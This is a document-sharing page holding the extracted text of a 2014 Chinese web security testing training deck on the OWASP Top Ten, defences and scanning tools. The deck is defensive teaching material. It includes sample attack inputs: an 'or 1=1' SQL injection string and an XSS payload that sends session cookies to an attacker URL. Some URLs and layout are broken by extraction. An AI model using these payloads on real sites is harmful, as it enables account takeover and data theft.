收藏 分销(赏)

光荣之路系列测试培训-安全测试.pdf

上传人:w****g 文档编号:1385960 上传时间:2024-04-25 格式:PDF 页数:62 大小:4.41MB
下载 相关 举报
光荣之路系列测试培训-安全测试.pdf_第1页
第1页 / 共62页
光荣之路系列测试培训-安全测试.pdf_第2页
第2页 / 共62页
光荣之路系列测试培训-安全测试.pdf_第3页
第3页 / 共62页
光荣之路系列测试培训-安全测试.pdf_第4页
第4页 / 共62页
光荣之路系列测试培训-安全测试.pdf_第5页
第5页 / 共62页
点击查看更多>>
资源描述

1、光荣之路-系列培训课程 Web安全测试 2014年6月 关于 郄军利 欢迎各方面的交流 目录 1 安全基本概念 2 常见Web安全问题及防范 2 3 常见Web安全检测工具介绍 4 安全测试内容及实践 光荣之路培训沙龙qq群:159953992 关于知识体系构建 什么是安全 安全三要素 保证业务数据不被窃取、防止泄露 保证业务数据真实、可靠,不被篡改 保证业务数据实时可用,系统不中断服务 机密性机密性 完整性完整性 可用性可用性 什么是风险管理 安全体系及基本概念 国际标准ISO27000系列 信息安全管理体系 安全体系及基本概念 信息安全国家标准 等级保护系列 安全体系及基本概念 其他相关体

2、系及标准 信息安全标准 IT服务 ITIL/ITSM/ISO20000 IT审计 Cobit 风险管理 萨班斯/巴塞尔/COSO 企业信息安全保障体系 基本概念 关于SDL SDL Security Development LifeCycle 安全开发生命周期 最初由微软创建的软件安全保证过程,自2004年以来作为微软全公司范围内的强制性政策。SDL由几个阶段16个步骤的过程组成,统称为软件安全开发生命周期。光荣之路培训沙龙qq群:159953992 安全测试框架 安全测试框架 黑客攻击演示 目录 1 安全基本概念 2 常见Web安全问题及防范 2 3 常见Web安全检测工具介绍 4 安全测试

3、内容及实践 光荣之路培训沙龙qq群:159953992 OWASP Top Ten(2013)http:/ 光荣之路培训沙龙qq群:159953992 2010 vs 2013 http:/ 光荣之路培训沙龙qq群:159953992 A1 注入 注入往往是应用程序缺少对输入进行安全性检查所引起的,攻击者把一些包含指令的数据发送给解释器,解释器会把收到的数据转换成指令执行。常见的注入包括SQL注入,OS Shell,LDAP,XPath,Hibernate等等,其中SQL注入尤为常见。注入是什么 取得字符串并解释从而得到命令语句 SQL,OS Shell,XPath,编译器 很多应用系统仍然很

4、容易受到攻击 尽管这种攻击很容易避免 SQL注入攻击仍是比较普遍的攻击方式 很严重.整个数据库可被读写与修改 很可能得到整个数据库访问权限或系统账户的访问权限,甚至能得到操作系统管理员的权限 影响 光荣之路培训沙龙qq群:159953992 SQL 注入 举例说明 攻击的案例 应用程序在下面存在漏洞的SQL语句的构造中使用不可信数据:String query=SELECT*FROM accounts WHERE custID=+request.getParameter(id)+“;正常情况下得到的结果:String query=SELECT*FROM accounts WHERE custID

5、=20120002102021;如果攻击者在浏览器中将“id”参数的值修改成 or1=1 http:/ 1=1 String query=SELECT*FROM accounts WHERE custID=or1=1;这样查询语句的意义就变成了从帐户数据库中返回所有的记录,而不是只有目标客户的信息。在最严重的情况下,攻击者能够使用这一漏洞调用数据库中特殊的储存过程,从而达到完全接管数据库,甚至运行数据库的主机。光荣之路培训沙龙qq群:159953992 SQL 注入 举例说明 Firewall Hardened OS Web Server App Server Firewall Databas

6、es Legacy Systems Web Services Directories Human Resrcs Billing Custom Code APPLICATION ATTACK Network Layer Application Layer Accounts Finance Administration Transactions Communication Knowledge Mgmt E-Commerce Bus.Functions HTTP 请求请求 SQL query DB 表表 HTTP 响应响应 SELECT*FROM accounts WHERE acct=OR 1=1

7、-1.应用系统展现一个输入框给攻击者 2.攻击者向输入框中填具有攻击性质的数据 3.应用系统将以请求数据库查询的方式攻击数据库 Account Summary Acct:5424-6066-2134-4334 Acct:4128-7574-3921-0192 Acct:5424-9383-2039-4029 Acct:4128-0004-1234-0293 4.数据库将查询的信息返回给应用系统 5.应用系统将数据库返回的信息提交给攻击者 Account:SKU:Account:SKU:光荣之路培训沙龙qq群:159953992 SQL注入漏洞利用演示 1 避免注入攻击 建议 1.使用参数化查询

8、。参数化查询是所有开发人员在做数据库查询时首先需要学习的,参数化查询迫使所有开发者首先要定义好所有的SQL代码,然后再将每个参数逐个传入,这种编码风格就能够让数据库辨明代码和数据。参数化查询能够确保攻击者无法改变查询的内容,在下面修正过的例子中,如果攻击者输入了UsrID是“or 1=1”,参数化查询会去查找一个完全满足名字为or 1=1的用户。参数化查询JAVA示例:String custname=request.getParameter(customerName);String query=SELECT account_balance FROM user_data WHERE user_n

9、ame=?;PreparedStatement pstmt=connection.prepareStatement(query);Pstmt.setString(1,custname);ResultSet results=pstmt.executeQuery();1 避免注入攻击 建议 2.使用存储过程。存储过程和参数化查询的作用是一样的,唯一的不同在于存储过程是预先定义并存放在数据库中,从而被应用程序调用的。存储过程JAVA示例:String custname=request.getParameter(customerName);try CallableStatement cs=connec

10、tion.prepareCall(call sp_getAccountBalance(?);cs.setString(1,custname);Result results=cs.executeQuery();catch(SQLException se)/error handling 1 避免注入攻击 建议 3.对所有用户输入进行编码转义。每个DBMS都有一个字符转义机制来告知DBMS输入的是数据而不是代码,如果我们将所有用户的输入都进行转义,那么DBMS就不会混淆数据和代码,也就不会出现SQL注入了。4.对用户输入进行“白名单”验证。输入验证能够在数据传递到SQL查询前就察觉到输入是否正确合法

11、,采用白名单而不是黑名单则能在更大程度上保证数据的合法性。5.最小权限法。为了避免注入攻击对数据库造成的损害,我们可以把每个数据库用户的权限尽可能缩小,在给用户权限时能完成工作的最小权限权限。当一个用户只需要读的权限时,我们就只给他读的权限,当用户只需要一张表的部分数据时,我们宁愿另建一个视图让他访问。参考 详细信息可参考以下网页 http:/www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet A3 跨站脚本(XSS)XSS指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代

12、码会被执行,从而达到恶意用户的特殊目的。XSS属于被动式的攻击,因为其被动且利用需要一定技巧,所以许多人常忽略其危害性。时刻发生 存储在数据库中 从网页输入直接反射回来(从网页某个区域,或隐藏区域,URL等等。)直接发送到支持JavaScript 的客户端 原始数据 在你的浏览器实验 javascript:alert(document.cookie)几乎每一个网站都有此种问题 窃取用户的会话,窃取敏感数据,重写网站页面,重定向用户到一个钓鱼或恶意站点 最严重的:安装XSS代理可使用户直接浏览恶意网站 影响 光荣之路培训沙龙qq群:159953992 跨站脚本举例说明 应用程序在下面HTML代码

13、段的构造中使用未经验证或转义的不可信的数据:(String)page+=;攻击者在浏览器中修改CC 参数为如下值:document.location=http:/ x3cscript.src=http:/ 跨站脚本举例说明 具有跨站漏洞的应用具有跨站漏洞的应用系统系统 3 2 攻击者设下陷阱攻击者设下陷阱-更新我的个人资料更新我的个人资料 攻击者利用跨站漏洞在服攻击者利用跨站漏洞在服务器上存贮信息务器上存贮信息 1 受害者浏览页面受害者浏览页面 看攻击者的资料看攻击者的资料 脚本悄悄地把受害者的会话脚本悄悄地把受害者的会话cookie发送到攻击者发送到攻击者 恶意脚本在受害者的浏览恶意脚本在受

14、害者的浏览器中运行器中运行 Custom Code Accounts Finance Administration Transactions Communication Knowledge Mgmt E-Commerce Bus.Functions A3 跨站脚本(XSS)类型 1、Stored XSS(存储式跨站脚本攻击)是最强大的一种XSS攻击,所谓存储跨站攻击是指用户提交给Web应用程序的数据首先就被永久的保存在服务器的数据库,文件系统或其他地方,后面且未做任何编码就能显示到Web页面。A3 跨站脚本(XSS)类型 2、Reflected XSS(反射跨站脚本攻击)这是最常见也是最知名的

15、XSS攻击,当Web客户端提交数据后,服务器端立刻为这个客户生成结果页面,如果结果页面中包含未验证的客户端输入数据,那么就会允许客户端的脚本直接注入到动态页面中。初看上去,由于用户只能在自己的页面上注入代码,所以似乎这个漏洞并不严重,但是,只需一点点社会工程的方法,攻击者就能诱使用户访问一个在结果页面中注入了代码的URL,这就给了攻击者整个页面的权限。其危害程度也不亚于存储式跨站漏洞 A3 跨站脚本(XSS)类型 3、DOM-Based XSS(基于DOM的XSS)这个漏洞往往存在于客户端脚本,如果一个Javascript脚本访问需要参数的URL,且需要将该信息用于写入自己的页面,且信息未被编

16、码,那么就有可能存在这个漏洞。跨站脚本XSS漏洞利用演示(AntiSamy)A3 避免跨站攻击 建议 消除缺陷 在输出页面不要含有用户提供的输入信息 防御此缺陷 输出控制:输出前,对所有用户提供的输入信息进行编码 输入控制:对所有用户输入进行基于白名单的输入验证 参考 For how to output encode properly关于怎样合适输出编码信息,http:/www.owasp.org/index.php/XSS_(Cross Site Scripting)Prevention Cheat Sheet A3 避免跨站攻击 厂商解决方案 PHP 利用php filter扩展来校验数据

17、合法性 在php.ini增加一行配置,重启apache或fastcgi让php配置生效。filter.default=”special_chars”启用这项配置后,仍可通过如下方法获得未转义的原始数据。$foo=filter_input(INPUT_GET,foo,FILTER_UNSAFE_RAW);(AntiSamy)A3 避免跨站攻击 厂商解决方案 ASP ASP.Net 1.1后引入了对提交表单自动检查是否存在XSS(跨站脚本攻击)的能力。当用户试图用之类的输入影响页面返回结果的时候,ASP.Net的引擎会引发一个http请求校验异常:HttpRequestValidationExce

18、ptioin。在ASP.Net页面描述中通过设置 validateRequest=true(默认值)A6 敏感信息泄露 什么是敏感信息?系统敏感信息:用户名密码、密钥、用户信息、配置信息 业务敏感信息:银行卡号、交易信息、业务信息 敏感信息泄露 软件系统实现缺陷 防护不当、配置不当 泄露原因 系统被攻破,企业信息泄露 用户信息泄露 影响 光荣之路培训沙龙qq群:159953992 敏感信息泄露攻击案例 攻击案例攻击案例1:软件系统实现缺陷:软件系统实现缺陷 演示:openssl实现缺陷导致敏感信息泄露 攻击案例攻击案例2:明文传输嗅探:明文传输嗅探 网站没有对敏感信息加密传输,在开放网络环境下

19、,攻击者可以通过网络嗅探获得网站用户的敏感数据,如用户名密码、会话Cookie等 攻击攻击案例案例3:多:多个个互联网站用户信息泄露互联网站用户信息泄露 你的密码安全吗?彩虹表 哈希算法破解技术,每秒千亿次 支持的HASH类型:LM,NTLM,MD5,SHA1,MYSQLSHA1,HALFLMCHALL,NTLMCHALL 不仅仅是彩虹表 高级黑客的玩具 社工库 直接查到你的密码?人人网500W_16610.rar 你的密码安全吗?最后一招-暴力破解 破解速度远远超出你的想象 GPU运算 挖矿机 更NB的 避免敏感信息泄露 设计与实现 合理的设计 正确的实现 正确的加密 传输加密机制 存储加密

20、机制 A8 跨站请求伪造(CSRF)跨站请求伪造是利用某些web应用程序允许攻击者预测一个特定操作的所有细节这一特点。由于浏览器自动发送会话cookie等认证凭证,攻击者能创建恶意web页面产生伪造请求。这些伪造请求很难与合法请求区分开。在每一次请求浏览器自动包含所有认证数据(session ID,IP地址,证书)跨站请求伪造 如果一个黑客可以引导您的鼠标和获得在您的在线银行应用程序的链接?他们能让你做什么?想象 启动交易(转移资金,注销用户,关闭账户)访问敏感数据 更改账户细节 影响 光荣之路培训沙龙qq群:159953992 CSRF的脆弱性模式 问题 浏览器自动在每次请求时包含大部分认证

21、信息 甚至很多请求是由一个表格,脚本和其他网站上的图片造成的 所有网站仅仅依靠自动认证都是脆弱的!(大多网站都是这样)自动提供认证 Session cookie 基本身份验证头 IP 地址 客户端SSL 证书 Windows 域认证 光荣之路培训沙龙qq群:159953992 CSRF 举例说明 攻击案例攻击案例 应用程序允许用户提交不包含任何保密字段的状态改变请求,如:http:/ 因此,攻击者构建一个请求,用于将受害用户账户中的现金转移到自己账户。然后攻击者在其控制的多个网站的图片请求或iframe中嵌入这种攻击。如果受害用户通过认证后访问任何一个这样的恶意网站,伪造的请求将包含用户的会话

22、信息,导致该请求被授权执行。CSRF 举例说明 3 2 攻击者在互联网上一些网站上设好陷阱(或者简单的通过一封电子攻击者在互联网上一些网站上设好陷阱(或者简单的通过一封电子邮件)邮件)1 当登陆到具有脆弱点的网站受害者浏览当登陆到具有脆弱点的网站受害者浏览攻击者的站点攻击者的站点 具有脆弱点的网站看见具有脆弱点的网站看见合法受害者的请求并执合法受害者的请求并执行请求行动行请求行动 tag loaded by browser sends GET request(including credentials)to vulnerable site Custom Code Accounts Financ

23、e Administration Transactions Communication Knowledge Mgmt E-Commerce Bus.Functions Hidden tag contains attack against vulnerable site Application with CSRF vulnerability A8 避免 CSRF 缺陷 添加验证过程,改为瞬时的授权方法 这使得它无法攻击者欺骗的请求 (除非在你的应用程序中有一个XSS漏洞)令牌应当具有很强的保密性或随机性 选项 在session存储一个单独的令牌并且把它加到所有的表单和链接 Hidden Fiel

24、d:Single use URL:/accounts/687965fdfaew87agrde Form Token:/accounts?auth=687965fdfaew87agrde 在引用头中小心暴露令牌 建议把字段隐藏 让每一个功能拥有一个令牌 使用由功能名字,session ID 和一个秘密的量合起来的哈希值 对于敏感的功能可能需要二次认证(例如.,eTrade)不要让黑客在您的网站上存储攻击 恰当的对所有输入进行编码 让输入中的所有的链接/请求在大多数解释器上是不被执行的 A9 不安全的组件 事实上,这个问题可能存在于Web应用的各个层次,譬如平台、Web服 务器、应用服务器,系统框

25、架,甚至是代码中。开发人员需要和网络管理人员共同确保所有层次都合理配置,有很多自动化的工具可以用于查找是否缺少补丁,错误 的安全配置,缺省用户是否存在,不必要的服务等等。Web应用程序依赖于一个安全的基础 Apache、nginx、gboss、tomcat Struts、spring openssl 常见组件都出现过安全漏洞 XSSSQL注入等常见漏洞 敏感信息泄露。如openssl安全漏洞 最严重的情况,黑客可以直接远程获取服务器管理权限。如struts2安全漏洞 影响 光荣之路培训沙龙qq群:159953992 举例说明 攻击案例攻击案例 案例案例#1:你的应用程序依赖于强大的框架,比如S

26、truts或者Spring。在这些你所依赖的框架部分中,发现了XSS漏洞或其他漏洞。一个发布的安全更新可以修复这些漏洞,但是你没有更新你的库文件。在你更新这些库文件以前,攻击者可以很容易的找到并攻破这些应用程序的漏洞。案例案例#2:应用程序服务器管理员控制台自动安装后没有被删除。而默认帐户也没有被改变。攻击者在你的服务器上发现了标准的管理员页面,通过默认密码登录,从而接管了你的服务器。案例案例#3:目录列表在你的服务器上未被禁用。攻击者发现只需列出目录,她就可以找到你服务器上的任意文件。攻击者找到并下载所有已编译的Java类,他通过反编译获得了所有你的自定义代码。然后,他在你的应用程序中找到一

27、个访问控制的严重漏洞。案例案例#4:应用程序服务器配置允许堆栈跟踪返回给用户,这样就暴露了潜在的漏洞。攻击者热衷于收集错误消息里提供的额外信息。A9 避免组件安全漏洞 组件的选择 经常被报告严重安全漏洞的组件,谨慎使用 版本的选择 官方维护安全补丁 关注安全漏洞并及时升级 制定组件列表,实时关注并升级 B 文件上传漏洞 对用户上传的文件没有进行充分合理的验证,导致被上传木马等恶意文件并执行 文件上传漏洞 仅在客户端通过浏览器js进行文件类型限制 常见的错误 攻击者绕过限制,直接上传木马文件 访问服务器敏感数据 执行特权的操作 影响 光荣之路培训沙龙qq群:159953992 文件上传漏洞利用演

28、示 B 避免文件上传漏洞 常见的方式 在服务器端充分验证文件类型 服务器端重命名 严格的限制 服务器端上传目录设置不可执行权限 几点思考 安全意识 永远不用相信来自用户的输入 管理所有来自客户端的数据 开发安全的代码 遵循最佳安全实践来指导构建web系统 代码之外的基础架构 按照标准指导对系统进行自查 目录 1 安全基本概念 2 常见Web安全问题及防范 2 3 常见Web安全检测工具介绍 4 安全测试内容及实践 光荣之路培训沙龙qq群:159953992 常用Web安全检测工具介绍及使用 大家闺秀大家闺秀 IBM Appscan HP WebInspect 江湖高手江湖高手 Acunetix

29、 Web Vulnerability Scanner Jsky/Pangolin MatriXay 明鉴明鉴 职场新秀(在线检测)职场新秀(在线检测)360 AIScanner 常用Web安全检测工具介绍及使用 白盒测试白盒测试 Fortify SCA 源代码安全检测工具源代码安全检测工具 优点:目前全球最大静态源代码检测厂商、支持语言最多 缺点:价格昂贵 Checkmarx Suite 源代码安全扫描软件源代码安全扫描软件 优点:利用CxQL查询语言自定义规则 缺点:输出报告不够美观 CodeSecure 优点:Web结合硬件,速度快、独具特色的深度分析 缺点:支持语言种类较少、价格不菲 W

30、eb安全检测工具介绍及使用 工具使用演示工具使用演示 IBM Appscan Acunetix Web Vulnerability Scanner 第二课课前准备 Appscan漏洞扫描工具安装漏洞扫描工具安装 1.下载并安装下载并安装Appscan 2.尝试定义一个漏洞扫描策略尝试定义一个漏洞扫描策略 3.尝试扫描一个尝试扫描一个web网站网站 Appsacan软件下载地址软件下载地址 Appscan安装说明安装说明 appscan使用手册使用手册 目录 1 安全基本概念 2 常见Web安全问题及防范 2 3 常见Web安全检测工具介绍 4 安全测试内容及实践 光荣之路培训沙龙qq群:159

31、953992 安全测试 Appsacn测试内容 参数有效性检查参数有效性检查 跨站脚本 CSRF跨站请求伪造 SQL注入 代码执行 文件包含 脚本源代码检查 CRLF注入 Cross Frame Scripting(XFS)PHP代码注入 XPath注入 全路径泄漏 LDAP注入 Cookie 操作 文件检查文件检查 检查备份的文件及目录 URI中的跨站脚本 检查脚本错误 目录检查目录检查 查找常见的文件 发现敏感的文件和目录 发现存在弱权限控制的目录 路径和SESSIONID中的跨站脚本 文本搜索文本搜索 目录列表 源代码泄漏 注释信息搜索 常见文件检查 Email地址收集 本地路径泄漏 错

32、误信息 课堂练习 找一个找一个Web应用,做一个完整的安全测试应用,做一个完整的安全测试 1.使用使用Appscan 2.检查扫描软件的误报检查扫描软件的误报 3.适当的手工验证适当的手工验证 4.完成一份完整的安全测试报告完成一份完整的安全测试报告 APPSCAN漏洞扫描演示及实践 光荣之路-安全测试培训大纲 时间 课程 内容 Day 1 安全测试基础 了解安全测试所必须的基础知识,如安全体系框架、网络基础、应用架构、编程知识等 Day 2 常见WEB安全漏洞原理及分析 针对常见的web安全漏洞形成原理、测试方法、防范手段,结合实际案例逐一进行深入分析 Day 3 常见WEB安全漏洞原理及分析 针对常见的web安全漏洞形成原理、测试方法、防范手段,结合实际案例逐一进行深入分析 Day 4 安全测试实践 使用安全测试工具、手工验证完成一个完整的安全测试案例,并结合之前课程形成自己的安全测试知识体系 Day 5 安全测试实践 使用安全测试工具、手工验证完成一个完整的安全测试案例,并结合之前课程形成自己的安全测试知识体系 光荣之路沙龙公开课 qq 群:159953992 光荣之路纯测试技术交流qq群:326519095 网站:

展开阅读全文
相似文档                                   自信AI助手自信AI助手
猜你喜欢                                   自信AI导航自信AI导航
搜索标签

当前位置:首页 > 教育专区 > 职业教育

移动网页_全站_页脚广告1

关于我们      便捷服务       自信AI       AI导航        获赠5币

©2010-2024 宁波自信网络信息技术有限公司  版权所有

客服电话:4008-655-100  投诉/维权电话:4009-655-100

gongan.png浙公网安备33021202000488号   

icp.png浙ICP备2021020529号-1  |  浙B2-20240490  

关注我们 :gzh.png    weibo.png    LOFTER.png 

客服